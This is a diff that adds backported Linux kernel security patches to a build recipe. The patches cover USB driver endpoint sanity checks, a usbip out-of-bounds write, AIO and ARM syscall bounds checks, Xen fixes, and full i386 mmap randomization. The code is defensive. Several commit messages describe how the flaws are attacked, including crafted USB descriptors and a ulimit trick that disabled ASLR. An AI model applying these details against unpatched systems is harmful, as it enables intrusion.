@@ +From e8f4639414972d17224cd816be7b89a00840b09e Mon Sep 17 00:00:00 2001 +From: Oliver Neukum +Date: Thu, 31 Mar 2016 12:04:24 -0400 +Subject: USB: mct_u232: add sanity checking in probe + +[ Upstream commit 4e9a0b05257f29cf4b75f3209243ed71614d062e ] + +An attack using the lack of sanity checking in probe is known. This +patch checks for the existence of a second port. + +CVE-2016-3136 + +Signed-off-by: Oliver Neukum +CC: stable@vger.kernel.org +[johan: add error message ] +Signed-off-by: Johan Hovold +Signed-off-by: Greg Kroah-Hartman + +Signed-off-by: Sasha Levin +--- + drivers/usb/serial/mct_u232.c | 9 ++++++++- + 1 file changed, 8 insertions(+), 1 deletion(-) + +diff --git a/drivers/usb/serial/mct_u232.c b/drivers/usb/serial/mct_u232.c +index fd707d6a10e26..89726f702202f 100644 +--- a/drivers/usb/serial/mct_u232.c ++++ b/drivers/usb/serial/mct_u232.c +@@ -376,14 +376,21 @@ static void mct_u232_msr_to_state(struct usb_serial_port *port, + + static int mct_u232_port_probe(struct usb_serial_port *port) + { ++ struct usb_serial *serial = port->serial; + struct mct_u232_private *priv; + ++ /* check first to simplify error handling */ ++ if (!serial->port[1] || !serial->port[1]->interrupt_in_urb) { ++ dev_err(&port->dev, "expected endpoint missing\n"); ++ return -ENODEV; ++ } ++ + priv = kzalloc(sizeof(*priv), GFP_KERNEL); + if (!priv) + return -ENOMEM; + + /* Use second interrupt-in endpoint for reading. */ +- priv->read_urb = port->serial->port[1]->interrupt_in_urb; ++ priv->read_urb = serial->port[1]->interrupt_in_urb; + priv->read_urb->context = port; + + spin_lock_init(&priv->lock); +-- +cgit 1.2.3-1.el7 diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0102-55e18b81b1d3-USB cypressm8 add endpoint sanity check.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0102-55e18b81b1d3-USB cypressm8 add endpoint sanity check.patch new file mode 100644 index 0000000..a3957c4 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0102-55e18b81b1d3-USB cypressm8 add endpoint sanity check.patch @@ -0,0 +1,52 @@ +From 55e18b81b1d3755288aa6234d9439bdd95b3f58f Mon Sep 17 00:00:00 2001 +From: Oliver Neukum +Date: Thu, 31 Mar 2016 12:04:25 -0400 +Subject: USB: cypress_m8: add endpoint sanity check + +[ Upstream commit c55aee1bf0e6b6feec8b2927b43f7a09a6d5f754 ] + +An attack using missing endpoints exists. + +CVE-2016-3137 + +Signed-off-by: Oliver Neukum +CC: stable@vger.kernel.org +Signed-off-by: Johan Hovold +Signed-off-by: Greg Kroah-Hartman +Signed-off-by: Sasha Levin +--- + drivers/usb/serial/cypress_m8.c | 11 +++++------ + 1 file changed, 5 insertions(+), 6 deletions(-) + +diff --git a/drivers/usb/serial/cypress_m8.c b/drivers/usb/serial/cypress_m8.c +index 01bf533928192..244acb1299a95 100644 +--- a/drivers/usb/serial/cypress_m8.c ++++ b/drivers/usb/serial/cypress_m8.c +@@ -447,6 +447,11 @@ static int cypress_generic_port_probe(struct usb_serial_port *port) + struct usb_serial *serial = port->serial; + struct cypress_private *priv; + ++ if (!port->interrupt_out_urb || !port->interrupt_in_urb) { ++ dev_err(&port->dev, "required endpoint is missing\n"); ++ return -ENODEV; ++ } ++ + priv = kzalloc(sizeof(struct cypress_private), GFP_KERNEL); + if (!priv) + return -ENOMEM; +@@ -606,12 +611,6 @@ static int cypress_open(struct tty_struct *tty, struct usb_serial_port *port) + cypress_set_termios(tty, port, &priv->tmp_termios); + + /* setup the port and start reading from the device */ +- if (!port->interrupt_in_urb) { +- dev_err(&port->dev, "%s - interrupt_in_urb is empty!\n", +- __func__); +- return -1; +- } +- + usb_fill_int_urb(port->interrupt_in_urb, serial->dev, + usb_rcvintpipe(serial->dev, port->interrupt_in_endpointAddress), + port->interrupt_in_urb->transfer_buffer, +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0103-4576d5d818ab-USB cdcacm more sanity checking.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0103-4576d5d818ab-USB cdcacm more sanity checking.patch new file mode 100644 index 0000000..9a6c1e0 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0103-4576d5d818ab-USB cdcacm more sanity checking.patch @@ -0,0 +1,37 @@ +From 4576d5d818abff73e363027f52da09519573c924 Mon Sep 17 00:00:00 2001 +From: Oliver Neukum +Date: Tue, 15 Mar 2016 10:14:04 +0100 +Subject: USB: cdc-acm: more sanity checking + +[ Upstream commit 8835ba4a39cf53f705417b3b3a94eb067673f2c9 ] + +An attack has become available which pretends to be a quirky +device circumventing normal sanity checks and crashes the kernel +by an insufficient number of interfaces. This patch adds a check +to the code path for quirky devices. + +Signed-off-by: Oliver Neukum +CC: stable@vger.kernel.org +Signed-off-by: Greg Kroah-Hartman +Signed-off-by: Sasha Levin +--- + drivers/usb/class/cdc-acm.c | 3 +++ + 1 file changed, 3 insertions(+) + +diff --git a/drivers/usb/class/cdc-acm.c b/drivers/usb/class/cdc-acm.c +index 7ec2b06069c9..0dd514e86fdc 100644 +--- a/drivers/usb/class/cdc-acm.c ++++ b/drivers/usb/class/cdc-acm.c +@@ -1109,6 +1109,9 @@ static int acm_probe(struct usb_interface *intf, + if (quirks == NO_UNION_NORMAL) { + data_interface = usb_ifnum_to_if(usb_dev, 1); + control_interface = usb_ifnum_to_if(usb_dev, 0); ++ /* we would crash */ ++ if (!data_interface || !control_interface) ++ return -ENODEV; + goto skip_normal_probe; + } + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0104-fb6e2ebb91f2-USB digiacceleport do sanity checking for the number of ports.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0104-fb6e2ebb91f2-USB digiacceleport do sanity checking for the number of ports.patch new file mode 100644 index 0000000..dcda33a --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0104-fb6e2ebb91f2-USB digiacceleport do sanity checking for the number of ports.patch @@ -0,0 +1,58 @@ +From fb6e2ebb91f21839aa13c40a6f71ac6423e4c64e Mon Sep 17 00:00:00 2001 +From: Oliver Neukum +Date: Thu, 31 Mar 2016 12:04:26 -0400 +Subject: USB: digi_acceleport: do sanity checking for the number of ports + +[ Upstream commit 5a07975ad0a36708c6b0a5b9fea1ff811d0b0c1f ] + +The driver can be crashed with devices that expose crafted descriptors +with too few endpoints. + +See: http://seclists.org/bugtraq/2016/Mar/61 + +Signed-off-by: Oliver Neukum +[johan: fix OOB endpoint check and add error messages ] +Cc: stable +Signed-off-by: Johan Hovold +Signed-off-by: Greg Kroah-Hartman + +Signed-off-by: Sasha Levin +--- + drivers/usb/serial/digi_acceleport.c | 19 +++++++++++++++++++ + 1 file changed, 19 insertions(+) + +diff --git a/drivers/usb/serial/digi_acceleport.c b/drivers/usb/serial/digi_acceleport.c +index 12b0e67473ba..3df7b7ec178e 100644 +--- a/drivers/usb/serial/digi_acceleport.c ++++ b/drivers/usb/serial/digi_acceleport.c +@@ -1251,8 +1251,27 @@ static int digi_port_init(struct usb_serial_port *port, unsigned port_num) + + static int digi_startup(struct usb_serial *serial) + { ++ struct device *dev = &serial->interface->dev; + struct digi_serial *serial_priv; + int ret; ++ int i; ++ ++ /* check whether the device has the expected number of endpoints */ ++ if (serial->num_port_pointers < serial->type->num_ports + 1) { ++ dev_err(dev, "OOB endpoints missing\n"); ++ return -ENODEV; ++ } ++ ++ for (i = 0; i < serial->type->num_ports + 1 ; i++) { ++ if (!serial->port[i]->read_urb) { ++ dev_err(dev, "bulk-in endpoint missing\n"); ++ return -ENODEV; ++ } ++ if (!serial->port[i]->write_urb) { ++ dev_err(dev, "bulk-out endpoint missing\n"); ++ return -ENODEV; ++ } ++ } + + serial_priv = kzalloc(sizeof(*serial_priv), GFP_KERNEL); + if (!serial_priv) +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0105-abe3994caa1c-ipv4 Dont do expensive useless work during inetdev destroy.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0105-abe3994caa1c-ipv4 Dont do expensive useless work during inetdev destroy.patch new file mode 100644 index 0000000..666df50 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0105-abe3994caa1c-ipv4 Dont do expensive useless work during inetdev destroy.patch @@ -0,0 +1,100 @@ +From abe3994caa1c1056a2d036bdb613cc8ad282b059 Mon Sep 17 00:00:00 2001 +From: "David S. Miller" +Date: Sun, 13 Mar 2016 23:28:00 -0400 +Subject: ipv4: Don't do expensive useless work during inetdev destroy. + +[ Upstream commit fbd40ea0180a2d328c5adc61414dc8bab9335ce2 ] + +When an inetdev is destroyed, every address assigned to the interface +is removed. And in this scenerio we do two pointless things which can +be very expensive if the number of assigned interfaces is large: + +1) Address promotion. We are deleting all addresses, so there is no + point in doing this. + +2) A full nf conntrack table purge for every address. We only need to + do this once, as is already caught by the existing + masq_dev_notifier so masq_inet_event() can skip this. + +Reported-by: Solar Designer +Signed-off-by: David S. Miller +Tested-by: Cyrill Gorcunov +Signed-off-by: Sasha Levin +--- + net/ipv4/devinet.c | 4 ++++ + net/ipv4/fib_frontend.c | 4 ++++ + net/ipv4/netfilter/nf_nat_masquerade_ipv4.c | 12 ++++++++++-- + 3 files changed, 18 insertions(+), 2 deletions(-) + +diff --git a/net/ipv4/devinet.c b/net/ipv4/devinet.c +index 214882e7d6de..464293c34b7a 100644 +--- a/net/ipv4/devinet.c ++++ b/net/ipv4/devinet.c +@@ -334,6 +334,9 @@ static void __inet_del_ifa(struct in_device *in_dev, struct in_ifaddr **ifap, + + ASSERT_RTNL(); + ++ if (in_dev->dead) ++ goto no_promotions; ++ + /* 1. Deleting primary ifaddr forces deletion all secondaries + * unless alias promotion is set + **/ +@@ -380,6 +383,7 @@ static void __inet_del_ifa(struct in_device *in_dev, struct in_ifaddr **ifap, + fib_del_ifaddr(ifa, ifa1); + } + ++no_promotions: + /* 2. Unlink it */ + + *ifap = ifa1->ifa_next; +diff --git a/net/ipv4/fib_frontend.c b/net/ipv4/fib_frontend.c +index 23104a3f2924..d4c698ce0838 100644 +--- a/net/ipv4/fib_frontend.c ++++ b/net/ipv4/fib_frontend.c +@@ -814,6 +814,9 @@ void fib_del_ifaddr(struct in_ifaddr *ifa, struct in_ifaddr *iprim) + subnet = 1; + } + ++ if (in_dev->dead) ++ goto no_promotions; ++ + /* Deletion is more complicated than add. + * We should take care of not to delete too much :-) + * +@@ -889,6 +892,7 @@ void fib_del_ifaddr(struct in_ifaddr *ifa, struct in_ifaddr *iprim) + } + } + ++no_promotions: + if (!(ok & BRD_OK)) + fib_magic(RTM_DELROUTE, RTN_BROADCAST, ifa->ifa_broadcast, 32, prim); + if (subnet && ifa->ifa_prefixlen < 31) { +diff --git a/net/ipv4/netfilter/nf_nat_masquerade_ipv4.c b/net/ipv4/netfilter/nf_nat_masquerade_ipv4.c +index c6eb42100e9a..ea91058b5f6f 100644 +--- a/net/ipv4/netfilter/nf_nat_masquerade_ipv4.c ++++ b/net/ipv4/netfilter/nf_nat_masquerade_ipv4.c +@@ -108,10 +108,18 @@ static int masq_inet_event(struct notifier_block *this, + unsigned long event, + void *ptr) + { +- struct net_device *dev = ((struct in_ifaddr *)ptr)->ifa_dev->dev; ++ struct in_device *idev = ((struct in_ifaddr *)ptr)->ifa_dev; + struct netdev_notifier_info info; + +- netdev_notifier_info_init(&info, dev); ++ /* The masq_dev_notifier will catch the case of the device going ++ * down. So if the inetdev is dead and being destroyed we have ++ * no work to do. Otherwise this is an individual address removal ++ * and we have to perform the flush. ++ */ ++ if (idev->dead) ++ return NOTIFY_DONE; ++ ++ netdev_notifier_info_init(&info, idev->dev); + return masq_device_event(this, event, &info); + } + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0106-9dac025573bb-x86iopl64 Properly contextswitch IOPL on Xen PV.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0106-9dac025573bb-x86iopl64 Properly contextswitch IOPL on Xen PV.patch new file mode 100644 index 0000000..0acf1dc --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0106-9dac025573bb-x86iopl64 Properly contextswitch IOPL on Xen PV.patch @@ -0,0 +1,102 @@ +From 9dac025573bbde6e69bd2238b803cdd4d881d83b Mon Sep 17 00:00:00 2001 +From: Andy Lutomirski +Date: Tue, 5 Apr 2016 12:24:23 -0700 +Subject: x86/iopl/64: Properly context-switch IOPL on Xen PV + +commit b7a584598aea7ca73140cb87b40319944dd3393f upstream. + +On Xen PV, regs->flags doesn't reliably reflect IOPL and the +exit-to-userspace code doesn't change IOPL. We need to context +switch it manually. + +I'm doing this without going through paravirt because this is +specific to Xen PV. After the dust settles, we can merge this with +the 32-bit code, tidy up the iopl syscall implementation, and remove +the set_iopl pvop entirely. + +Fixes XSA-171. + +Reviewewd-by: Jan Beulich +Signed-off-by: Andy Lutomirski +Cc: Andrew Cooper +Cc: Andy Lutomirski +Cc: Boris Ostrovsky +Cc: Borislav Petkov +Cc: Brian Gerst +Cc: David Vrabel +Cc: Denys Vlasenko +Cc: H. Peter Anvin +Cc: Jan Beulich +Cc: Linus Torvalds +Cc: Peter Zijlstra +Cc: Thomas Gleixner +Link: http://lkml.kernel.org/r/693c3bd7aeb4d3c27c92c622b7d0f554a458173c.1458162709.git.luto@kernel.org +Signed-off-by: Ingo Molnar +[ kamal: backport to 3.19-stable: no X86_FEATURE_XENPV so just call + xen_pv_domain() directly ] +Acked-by: Andy Lutomirski +Signed-off-by: Kamal Mostafa +Signed-off-by: Sasha Levin +--- + arch/x86/include/asm/xen/hypervisor.h | 2 ++ + arch/x86/kernel/process_64.c | 12 ++++++++++++ + arch/x86/xen/enlighten.c | 2 +- + 3 files changed, 15 insertions(+), 1 deletion(-) + +diff --git a/arch/x86/include/asm/xen/hypervisor.h b/arch/x86/include/asm/xen/hypervisor.h +index d866959e5685..d2ad00a42234 100644 +--- a/arch/x86/include/asm/xen/hypervisor.h ++++ b/arch/x86/include/asm/xen/hypervisor.h +@@ -57,4 +57,6 @@ static inline bool xen_x2apic_para_available(void) + } + #endif + ++extern void xen_set_iopl_mask(unsigned mask); ++ + #endif /* _ASM_X86_XEN_HYPERVISOR_H */ +diff --git a/arch/x86/kernel/process_64.c b/arch/x86/kernel/process_64.c +index 54cfd5ebd96c..f547f866e86c 100644 +--- a/arch/x86/kernel/process_64.c ++++ b/arch/x86/kernel/process_64.c +@@ -49,6 +49,7 @@ + #include + #include + #include ++#include + + asmlinkage extern void ret_from_fork(void); + +@@ -424,6 +425,17 @@ __switch_to(struct task_struct *prev_p, struct task_struct *next_p) + task_thread_info(prev_p)->flags & _TIF_WORK_CTXSW_PREV)) + __switch_to_xtra(prev_p, next_p, tss); + ++#ifdef CONFIG_XEN ++ /* ++ * On Xen PV, IOPL bits in pt_regs->flags have no effect, and ++ * current_pt_regs()->flags may not match the current task's ++ * intended IOPL. We need to switch it manually. ++ */ ++ if (unlikely(xen_pv_domain() && ++ prev->iopl != next->iopl)) ++ xen_set_iopl_mask(next->iopl); ++#endif ++ + return prev_p; + } + +diff --git a/arch/x86/xen/enlighten.c b/arch/x86/xen/enlighten.c +index 7e365d231a93..6ba1ec961aaa 100644 +--- a/arch/x86/xen/enlighten.c ++++ b/arch/x86/xen/enlighten.c +@@ -956,7 +956,7 @@ static void xen_load_sp0(struct tss_struct *tss, + xen_mc_issue(PARAVIRT_LAZY_CPU); + } + +-static void xen_set_iopl_mask(unsigned mask) ++void xen_set_iopl_mask(unsigned mask) + { + struct physdev_set_iopl set_iopl; + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0107-8b8addf891de-x86mm32 Enable full randomization on i386 and X8632.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0107-8b8addf891de-x86mm32 Enable full randomization on i386 and X8632.patch new file mode 100644 index 0000000..a1553f4 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0107-8b8addf891de-x86mm32 Enable full randomization on i386 and X8632.patch @@ -0,0 +1,83 @@ +From 8b8addf891de8a00e4d39fc32f93f7c5eb8feceb Mon Sep 17 00:00:00 2001 +From: Hector Marco-Gisbert +Date: Thu, 10 Mar 2016 20:51:00 +0100 +Subject: x86/mm/32: Enable full randomization on i386 and X86_32 + +Currently on i386 and on X86_64 when emulating X86_32 in legacy mode, only +the stack and the executable are randomized but not other mmapped files +(libraries, vDSO, etc.). This patch enables randomization for the +libraries, vDSO and mmap requests on i386 and in X86_32 in legacy mode. + +By default on i386 there are 8 bits for the randomization of the libraries, +vDSO and mmaps which only uses 1MB of VA. + +This patch preserves the original randomness, using 1MB of VA out of 3GB or +4GB. We think that 1MB out of 3GB is not a big cost for having the ASLR. + +The first obvious security benefit is that all objects are randomized (not +only the stack and the executable) in legacy mode which highly increases +the ASLR effectiveness, otherwise the attackers may use these +non-randomized areas. But also sensitive setuid/setgid applications are +more secure because currently, attackers can disable the randomization of +these applications by setting the ulimit stack to "unlimited". This is a +very old and widely known trick to disable the ASLR in i386 which has been +allowed for too long. + +Another trick used to disable the ASLR was to set the ADDR_NO_RANDOMIZE +personality flag, but fortunately this doesn't work on setuid/setgid +applications because there is security checks which clear Security-relevant +flags. + +This patch always randomizes the mmap_legacy_base address, removing the +possibility to disable the ASLR by setting the stack to "unlimited". + +Signed-off-by: Hector Marco-Gisbert +Acked-by: Ismael Ripoll Ripoll +Acked-by: Kees Cook +Acked-by: Arjan van de Ven +Cc: Linus Torvalds +Cc: Peter Zijlstra +Cc: Thomas Gleixner +Cc: akpm@linux-foundation.org +Cc: kees Cook +Link: http://lkml.kernel.org/r/1457639460-5242-1-git-send-email-hecmargi@upv.es +Signed-off-by: Ingo Molnar +--- + arch/x86/mm/mmap.c | 14 +------------- + 1 file changed, 1 insertion(+), 13 deletions(-) + +diff --git a/arch/x86/mm/mmap.c b/arch/x86/mm/mmap.c +index 96bd1e2bffafb..389939f74dd5a 100644 +--- a/arch/x86/mm/mmap.c ++++ b/arch/x86/mm/mmap.c +@@ -93,18 +93,6 @@ static unsigned long mmap_base(unsigned long rnd) + return PAGE_ALIGN(TASK_SIZE - gap - rnd); + } + +-/* +- * Bottom-up (legacy) layout on X86_32 did not support randomization, X86_64 +- * does, but not when emulating X86_32 +- */ +-static unsigned long mmap_legacy_base(unsigned long rnd) +-{ +- if (mmap_is_ia32()) +- return TASK_UNMAPPED_BASE; +- else +- return TASK_UNMAPPED_BASE + rnd; +-} +- + /* + * This function, called very early during the creation of a new + * process VM image, sets up which VM layout function to use: +@@ -116,7 +104,7 @@ void arch_pick_mmap_layout(struct mm_struct *mm) + if (current->flags & PF_RANDOMIZE) + random_factor = arch_mmap_rnd(); + +- mm->mmap_legacy_base = mmap_legacy_base(random_factor); ++ mm->mmap_legacy_base = TASK_UNMAPPED_BASE + random_factor; + + if (mmap_is_legacy()) { + mm->mmap_base = mm->mmap_legacy_base; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0108-7ca573e32c0a-Input imspcu sanity check against missing interfaces.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0108-7ca573e32c0a-Input imspcu sanity check against missing interfaces.patch new file mode 100644 index 0000000..edee9f4 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0108-7ca573e32c0a-Input imspcu sanity check against missing interfaces.patch @@ -0,0 +1,43 @@ +From 7ca573e32c0a6634d679540314a80d235f224bfb Mon Sep 17 00:00:00 2001 +From: Oliver Neukum +Date: Thu, 17 Mar 2016 14:00:17 -0700 +Subject: Input: ims-pcu - sanity check against missing interfaces + +[ Upstream commit a0ad220c96692eda76b2e3fd7279f3dcd1d8a8ff ] + +A malicious device missing interface can make the driver oops. +Add sanity checking. + +Signed-off-by: Oliver Neukum +CC: stable@vger.kernel.org +Signed-off-by: Dmitry Torokhov +Signed-off-by: Sasha Levin +--- + drivers/input/misc/ims-pcu.c | 4 ++++ + 1 file changed, 4 insertions(+) + +diff --git a/drivers/input/misc/ims-pcu.c b/drivers/input/misc/ims-pcu.c +index afed8e2b2f944..41ef29b516f35 100644 +--- a/drivers/input/misc/ims-pcu.c ++++ b/drivers/input/misc/ims-pcu.c +@@ -1663,6 +1663,8 @@ static int ims_pcu_parse_cdc_data(struct usb_interface *intf, struct ims_pcu *pc + + pcu->ctrl_intf = usb_ifnum_to_if(pcu->udev, + union_desc->bMasterInterface0); ++ if (!pcu->ctrl_intf) ++ return -EINVAL; + + alt = pcu->ctrl_intf->cur_altsetting; + pcu->ep_ctrl = &alt->endpoint[0].desc; +@@ -1670,6 +1672,8 @@ static int ims_pcu_parse_cdc_data(struct usb_interface *intf, struct ims_pcu *pc + + pcu->data_intf = usb_ifnum_to_if(pcu->udev, + union_desc->bSlaveInterface0); ++ if (!pcu->data_intf) ++ return -EINVAL; + + alt = pcu->data_intf->cur_altsetting; + if (alt->desc.bNumEndpoints != 2) { +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0109-b1568c363c54-PATCH BACKPORT AIO properly check iovec sizes.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0109-b1568c363c54-PATCH BACKPORT AIO properly check iovec sizes.patch new file mode 100644 index 0000000..28901d3 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0109-b1568c363c54-PATCH BACKPORT AIO properly check iovec sizes.patch @@ -0,0 +1,48 @@ +From b1568c363c54fa3aa98b1cfa7c535115950bec0c Mon Sep 17 00:00:00 2001 +From: Greg Kroah-Hartman +Date: Fri, 19 Feb 2016 17:36:21 -0800 +Subject: [PATCH] BACKPORT: AIO: properly check iovec sizes + +In Linus's tree, the iovec code has been reworked massively, but in +older kernels the AIO layer should be checking this before passing the +request on to other layers. + +Many thanks to Ben Hawkes of Google Project Zero for pointing out the +issue. + +Reported-by: Ben Hawkes +Acked-by: Benjamin LaHaise +Tested-by: Willy Tarreau +[backported to 3.10 - willy] +Signed-off-by: Greg Kroah-Hartman + +(cherry picked from commit ff19ac8fb71e8a2bf07d61b959062998139c1104) +Change-Id: I3150b93cf125b03add473dfded89757531b4eb13 +Signed-off-by: Thierry Strudel +--- + fs/aio.c | 9 +++++++-- + 1 file changed, 7 insertions(+), 2 deletions(-) + +diff --git a/fs/aio.c b/fs/aio.c +index 58caa7e5d81c6..d9912555aacc8 100644 +--- a/fs/aio.c ++++ b/fs/aio.c +@@ -1354,11 +1354,16 @@ static ssize_t aio_setup_single_vector(struct kiocb *kiocb, + unsigned long *nr_segs, + struct iovec *iovec) + { +- if (unlikely(!access_ok(!rw, buf, kiocb->ki_nbytes))) ++ size_t len = kiocb->ki_nbytes; ++ ++ if (len > MAX_RW_COUNT) ++ len = MAX_RW_COUNT; ++ ++ if (unlikely(!access_ok(!rw, buf, len))) + return -EFAULT; + + iovec->iov_base = buf; +- iovec->iov_len = kiocb->ki_nbytes; ++ iovec->iov_len = len; + *nr_segs = 1; + return 0; + } diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0110.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0110.diff new file mode 100644 index 0000000..6cb0a56 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0110.diff @@ -0,0 +1,27 @@ +diff --git a/arch/arm/kernel/sys_oabi-compat.c b/arch/arm/kernel/sys_oabi-compat.c +index eb821e7..8a1c2c8 100644 +--- a/arch/arm/kernel/sys_oabi-compat.c ++++ b/arch/arm/kernel/sys_oabi-compat.c +@@ -279,8 +279,12 @@ + mm_segment_t fs; + long ret, err, i; + +- if (maxevents <= 0 || maxevents > (INT_MAX/sizeof(struct epoll_event))) ++ if (maxevents <= 0 || ++ maxevents > (INT_MAX/sizeof(*kbuf)) || ++ maxevents > (INT_MAX/sizeof(*events))) + return -EINVAL; ++ if (!access_ok(VERIFY_WRITE, events, sizeof(*events) * maxevents)) ++ return -EFAULT; + kbuf = kmalloc(sizeof(*kbuf) * maxevents, GFP_KERNEL); + if (!kbuf) + return -ENOMEM; +@@ -317,6 +321,8 @@ + + if (nsops < 1 || nsops > SEMOPM) + return -EINVAL; ++ if (!access_ok(VERIFY_READ, tsops, sizeof(*tsops) * nsops)) ++ return -EFAULT; + sops = kmalloc(sizeof(*sops) * nsops, GFP_KERNEL); + if (!sops) + return -ENOMEM; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0111-9a71843e3ab0-USB usbip fix potential outofbounds write.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0111-9a71843e3ab0-USB usbip fix potential outofbounds write.patch new file mode 100644 index 0000000..482811c --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0111-9a71843e3ab0-USB usbip fix potential outofbounds write.patch @@ -0,0 +1,48 @@ +From 9a71843e3ab0f1ffb766c4074f761ba57e3c12c8 Mon Sep 17 00:00:00 2001 +From: Ignat Korchagin +Date: Thu, 17 Mar 2016 18:00:29 +0000 +Subject: USB: usbip: fix potential out-of-bounds write + +[ Upstream commit b348d7dddb6c4fbfc810b7a0626e8ec9e29f7cbb ] + +Fix potential out-of-bounds write to urb->transfer_buffer +usbip handles network communication directly in the kernel. When receiving a +packet from its peer, usbip code parses headers according to protocol. As +part of this parsing urb->actual_length is filled. Since the input for +urb->actual_length comes from the network, it should be treated as untrusted. +Any entity controlling the network may put any value in the input and the +preallocated urb->transfer_buffer may not be large enough to hold the data. +Thus, the malicious entity is able to write arbitrary data to kernel memory. + +Signed-off-by: Ignat Korchagin +Signed-off-by: Greg Kroah-Hartman +Signed-off-by: Sasha Levin +--- + drivers/usb/usbip/usbip_common.c | 11 +++++++++++ + 1 file changed, 11 insertions(+) + +diff --git a/drivers/usb/usbip/usbip_common.c b/drivers/usb/usbip/usbip_common.c +index facaaf003f19..e40da7759a0e 100644 +--- a/drivers/usb/usbip/usbip_common.c ++++ b/drivers/usb/usbip/usbip_common.c +@@ -741,6 +741,17 @@ int usbip_recv_xbuff(struct usbip_device *ud, struct urb *urb) + if (!(size > 0)) + return 0; + ++ if (size > urb->transfer_buffer_length) { ++ /* should not happen, probably malicious packet */ ++ if (ud->side == USBIP_STUB) { ++ usbip_event_add(ud, SDEV_EVENT_ERROR_TCP); ++ return 0; ++ } else { ++ usbip_event_add(ud, VDEV_EVENT_ERROR_TCP); ++ return -EPIPE; ++ } ++ } ++ + ret = usbip_recv(ud->tcp_socket, urb->transfer_buffer, size); + if (ret != size) { + dev_err(&urb->dev->dev, "recv xbuf, %d\n", ret); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0112-24b769352bd5-x86mmxen Suppress hugetlbfs in PV guests.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0112-24b769352bd5-x86mmxen Suppress hugetlbfs in PV guests.patch new file mode 100644 index 0000000..ee3aa2f --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0112-24b769352bd5-x86mmxen Suppress hugetlbfs in PV guests.patch @@ -0,0 +1,75 @@ +From 24b769352bd519d6d932ea070e295e8b13f43af8 Mon Sep 17 00:00:00 2001 +From: Jan Beulich +Date: Thu, 21 Apr 2016 00:27:04 -0600 +Subject: x86/mm/xen: Suppress hugetlbfs in PV guests + +[ Upstream commit 103f6112f253017d7062cd74d17f4a514ed4485c ] + +Huge pages are not normally available to PV guests. Not suppressing +hugetlbfs use results in an endless loop of page faults when user mode +code tries to access a hugetlbfs mapped area (since the hypervisor +denies such PTEs to be created, but error indications can't be +propagated out of xen_set_pte_at(), just like for various of its +siblings), and - once killed in an oops like this: + + kernel BUG at .../fs/hugetlbfs/inode.c:428! + invalid opcode: 0000 [#1] SMP + ... + RIP: e030:[] [] remove_inode_hugepages+0x25b/0x320 + ... + Call Trace: + [] hugetlbfs_evict_inode+0x15/0x40 + [] evict+0xbd/0x1b0 + [] __dentry_kill+0x19a/0x1f0 + [] dput+0x1fe/0x220 + [] __fput+0x155/0x200 + [] task_work_run+0x60/0xa0 + [] do_exit+0x160/0x400 + [] do_group_exit+0x3b/0xa0 + [] get_signal+0x1ed/0x470 + [] do_signal+0x14/0x110 + [] prepare_exit_to_usermode+0xe9/0xf0 + [] retint_user+0x8/0x13 + +This is CVE-2016-3961 / XSA-174. + +Reported-by: Vitaly Kuznetsov +Signed-off-by: Jan Beulich +Cc: Andrew Morton +Cc: Andy Lutomirski +Cc: Boris Ostrovsky +Cc: Borislav Petkov +Cc: Brian Gerst +Cc: David Vrabel +Cc: Denys Vlasenko +Cc: H. Peter Anvin +Cc: Juergen Gross +Cc: Linus Torvalds +Cc: Luis R. Rodriguez +Cc: Peter Zijlstra +Cc: Thomas Gleixner +Cc: Toshi Kani +Cc: stable@vger.kernel.org +Cc: xen-devel +Link: http://lkml.kernel.org/r/57188ED802000078000E431C@prv-mh.provo.novell.com +Signed-off-by: Ingo Molnar +Signed-off-by: Sasha Levin +--- + arch/x86/include/asm/hugetlb.h | 1 + + 1 file changed, 1 insertion(+) + +diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h +index 68c05398bba9..7aadd3cea843 100644 +--- a/arch/x86/include/asm/hugetlb.h ++++ b/arch/x86/include/asm/hugetlb.h +@@ -4,6 +4,7 @@ + #include + #include + ++#define hugepages_supported() cpu_has_pse + + static inline int is_hugepage_only_range(struct mm_struct *mm, + unsigned long addr, +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0113-681fef8380eb-USB usbfs fix potential infoleak in devio.patch 